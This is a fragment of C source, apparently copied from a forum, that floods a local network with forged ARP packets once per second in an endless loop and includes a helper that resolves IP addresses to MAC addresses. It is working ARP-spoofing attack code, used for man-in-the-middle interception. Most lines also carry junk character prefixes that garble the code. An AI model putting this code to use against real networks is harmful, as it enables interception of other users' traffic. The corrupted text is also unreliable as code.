8 s$ C  B& F& d1 v! p    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n");
    return 0;
  }
  memset(szArpBuff, 0, sizeof(szArpBuff));
  U( [* W4 D% F6 L  memcpy(szArpBuff, (char *)&amp;ArpPacket, sizeof(ARPPACKET));
! u& y* {- k- O2 `  j# j  PacketInitPacket(lpArpPacket, szArpBuff, 60);
6 q$ A; K4 K, A& R# D5 k4 F( l( g  //send arp packet
8 p/ {4 A/ R9 c/ i7 a5 O  while(1)
% w4 f. t  `2 K) d, E  {
( Q3 ?" n  ?6 r0 @    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)
, ?/ O" ]( E; g    {
9 c3 o  L! d9 o; a$ m" R      printf("Error sending the arp spoof packets!\n");
      return 0;
    }
1 K) ?+ g! V5 T+ Z% F    Sleep(1000);
8 _. c* |1 e/ U- D: X  }
  return 0;
}
- d# s- r6 _; i/ d  H/ P4 F
//
//功能：输入IP取得对应的MAC地址
//
3 }# w' ]# ^1 E% \* IBOOL GetMACAddr(DWORD DestIP, char *pMAC)
& @( p+ a0 V) p7 _& K: w3 U{
  DWORD  dwRet;
+ j/ y2 t3 B# ?  j1 s  ULONG  ulLen = 6, pulMac[2];
  dwRet = SendARP(DestIP, 0, pulMac, &amp;ulLen);
  if(dwRet == NO_ERROR)
" W8 W1 i& Z9 _- @5 I  {
    memcpy(pMAC, pulMac, 6);
& ^  a! e( V* B% G: y2 W* s: }- K    return TRUE;
5 C7 E2 s  @) F  g8 |# K" o0 r( X  }
  else return FALSE;
}

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